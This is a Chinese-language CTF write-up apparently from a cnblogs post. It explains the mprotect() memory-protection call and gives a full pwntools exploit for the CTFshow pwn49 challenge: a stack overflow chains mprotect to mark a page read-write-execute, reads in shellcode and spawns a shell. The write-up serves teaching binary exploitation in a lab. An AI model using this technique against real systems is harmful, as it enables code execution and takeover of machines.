Pwn mprotect()函数
以CTFshow pwn49为例。
学习mprotect函数
mprotect函数可以将内存权限进行修改为可读可写可执行。
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
一般prot直接修改为7,即可读可写可执行。
这样,我们就可以往某段内存写入shellcode执行了。
需要指出的是,锁指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
在CTFshow pwn49中,file是静态编译的statically linked
,checksec发现是Canary found
(其实并没有,个人的checksec版本过低),依旧可以触发栈溢出漏洞。
思路:首先调用mprotect函数对内存页权限进行修改,之后调用read函数在适当位置读入shellcode
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28264)
elf = ELF('./pwn')
offset = 0x12 + 0x4
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
nx_addr = 0x80DA000
nx_size = 0x1000
nx_prot = 0x7
pop_eax_edx_ebx = 0x8056194
shellcode = asm(shellcraft.sh())
payload = offset * b'a'
payload += p32(mprotect_addr)
payload += p32(pop_eax_edx_ebx)
payload += p32(nx_addr)
payload += p32(nx_size)
payload += p32(nx_prot)
#----------
payload += p32(read_addr)
payload += p32(nx_addr) #ret2 sh_addr
payload += p32(0) #read(fd, *buf, count)
payload += p32(nx_addr)
payload += p32(nx_size)
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
标签:addr,mprotect,nx,pwn49,CTFshow,p32,payload,内存
From: https://www.cnblogs.com/chang-room/p/18058918